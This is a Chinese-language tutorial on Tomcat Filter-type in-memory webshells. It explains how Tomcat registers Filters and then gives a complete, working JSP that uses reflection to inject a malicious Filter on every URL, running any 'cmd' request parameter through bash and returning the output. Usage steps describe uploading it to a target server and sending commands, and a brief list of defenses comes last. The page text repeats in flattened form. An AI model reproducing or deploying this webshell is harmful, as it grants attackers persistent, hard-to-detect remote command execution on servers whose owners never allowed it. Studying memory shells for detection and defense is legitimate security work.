Tomcat 内存马(二)Filter型
字数 1422 2025-08-03 16:46:22

Tomcat 内存马(二)Filter型内存马分析与实现

一、Tomcat请求处理机制

Tomcat在处理HTTP请求时,首先通过连接器Coyote将request对象转换为ServletRequest,然后传递给Catalina容器进行处理。Catalina容器采用分层结构设计,包含四个关键容器:

  1. Engine - 顶级容器
  2. Host - 虚拟主机容器
  3. Context - Web应用上下文容器
  4. Wrapper - Servlet包装容器

请求处理流程为:Listener -> Filter -> Servlet。当请求到达Wrapper容器时,会调用FilterChain(由多个Filter组成的过滤器链),最后才到达Servlet。

关键点:通过在FilterChain的第一个位置插入恶意Filter,可以优先拦截并处理所有请求。

二、Filter注册流程分析

1. FilterChain调用位置

FilterChain的调用位于StandardWrapperValve#invoke方法中,通过createFilterChain方法获取ApplicationFilterChain类型的filterChain。

2. 关键数据结构

Tomcat中Filter的管理依赖于三个核心变量,都存储在StandardContext对象中:

  1. filterMaps:HashMap类型,存储过滤器名称与URL映射关系
  2. filterDefs:HashMap类型,存储过滤器名称与过滤器定义(FilterDef)的映射
  3. filterConfigs:存储ApplicationFilterConfig对象,内部包含filterDefs

3. 变量操作分析

(1) filterMaps操作

StandardContext提供以下方法操作filterMaps:

  • addFilterMap():添加过滤器映射
  • addFilterMapBefore():在指定位置前添加过滤器映射

(2) filterConfigs操作

在Tomcat启动时,filterStart()方法会:

  1. 从filterDefs获取过滤器定义
  2. 创建ApplicationFilterConfig对象
  3. 将name和filterConfig存入filterConfigs

(3) filterDefs操作

通过addFilterDef()方法添加过滤器定义,该方法通常由web.xml解析器调用。

三、内存马实现原理

通过动态操作StandardContext中的三个关键变量,可以注入恶意Filter:

  1. 创建恶意Filter实现类
  2. 创建并配置FilterDef对象
  3. 创建并配置FilterMap对象
  4. 将上述对象添加到StandardContext的相应变量中

四、完整内存马实现代码

<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

<%
    final String name = "KpLi0rn";
    ServletContext servletContext = request.getSession().getServletContext();

    // 获取ApplicationContext
    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

    // 获取StandardContext
    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

    // 获取filterConfigs
    Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
    Configs.setAccessible(true);
    Map filterConfigs = (Map) Configs.get(standardContext);

    if (filterConfigs.get(name) == null){
        // 创建恶意Filter
        Filter filter = new Filter() {
            @Override
            public void init(FilterConfig filterConfig) throws ServletException {}

            @Override
            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                HttpServletRequest req = (HttpServletRequest) servletRequest;
                if (req.getParameter("cmd") != null){
                    byte[] bytes = new byte[1024];
                    Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start();
                    int len = process.getInputStream().read(bytes);
                    servletResponse.getWriter().write(new String(bytes,0,len));
                    process.destroy();
                    return;
                }
                filterChain.doFilter(servletRequest,servletResponse);
            }

            @Override
            public void destroy() {}
        };

        // 创建并配置FilterDef
        FilterDef filterDef = new FilterDef();
        filterDef.setFilter(filter);
        filterDef.setFilterName(name);
        filterDef.setFilterClass(filter.getClass().getName());
        standardContext.addFilterDef(filterDef);

        // 创建并配置FilterMap
        FilterMap filterMap = new FilterMap();
        filterMap.addURLPattern("/*");  // 拦截所有URL
        filterMap.setFilterName(name);
        filterMap.setDispatcher(DispatcherType.REQUEST.name());
        standardContext.addFilterMapBefore(filterMap);

        // 创建FilterConfig并添加到filterConfigs
        Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
        constructor.setAccessible(true);
        ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
        filterConfigs.put(name,filterConfig);
        
        out.print("Inject Success !");
    }
%>

五、内存马使用说明

  1. 将上述JSP上传到目标服务器
  2. 访问该JSP页面,显示"Inject Success!"表示注入成功
  3. 通过URL参数执行命令:http://target.com/?cmd=whoami

六、防御措施

  1. 禁用JSP上传功能
  2. 监控StandardContext的修改操作
  3. 定期检查filterConfigs中的可疑Filter
  4. 使用安全防护产品检测内存马

七、参考资源

  1. Tomcat内存马实现原理
  2. Tomcat内存马初探
  3. Java内存马研究
Tomcat 内存马(二)Filter型内存马分析与实现 一、Tomcat请求处理机制 Tomcat在处理HTTP请求时,首先通过连接器Coyote将request对象转换为ServletRequest,然后传递给Catalina容器进行处理。Catalina容器采用分层结构设计,包含四个关键容器: Engine - 顶级容器 Host - 虚拟主机容器 Context - Web应用上下文容器 Wrapper - Servlet包装容器 请求处理流程为: Listener -> Filter -> Servlet 。当请求到达Wrapper容器时,会调用FilterChain(由多个Filter组成的过滤器链),最后才到达Servlet。 关键点 :通过在FilterChain的第一个位置插入恶意Filter,可以优先拦截并处理所有请求。 二、Filter注册流程分析 1. FilterChain调用位置 FilterChain的调用位于 StandardWrapperValve#invoke 方法中,通过 createFilterChain 方法获取 ApplicationFilterChain 类型的filterChain。 2. 关键数据结构 Tomcat中Filter的管理依赖于三个核心变量,都存储在StandardContext对象中: filterMaps :HashMap类型,存储过滤器名称与URL映射关系 filterDefs :HashMap类型,存储过滤器名称与过滤器定义(FilterDef)的映射 filterConfigs :存储ApplicationFilterConfig对象,内部包含filterDefs 3. 变量操作分析 (1) filterMaps操作 StandardContext提供以下方法操作filterMaps: addFilterMap() :添加过滤器映射 addFilterMapBefore() :在指定位置前添加过滤器映射 (2) filterConfigs操作 在Tomcat启动时, filterStart() 方法会: 从filterDefs获取过滤器定义 创建ApplicationFilterConfig对象 将name和filterConfig存入filterConfigs (3) filterDefs操作 通过 addFilterDef() 方法添加过滤器定义,该方法通常由web.xml解析器调用。 三、内存马实现原理 通过动态操作StandardContext中的三个关键变量,可以注入恶意Filter: 创建恶意Filter实现类 创建并配置FilterDef对象 创建并配置FilterMap对象 将上述对象添加到StandardContext的相应变量中 四、完整内存马实现代码 五、内存马使用说明 将上述JSP上传到目标服务器 访问该JSP页面,显示"Inject Success !"表示注入成功 通过URL参数执行命令: http://target.com/?cmd=whoami 六、防御措施 禁用JSP上传功能 监控StandardContext的修改操作 定期检查filterConfigs中的可疑Filter 使用安全防护产品检测内存马 七、参考资源 Tomcat内存马实现原理 Tomcat内存马初探 Java内存马研究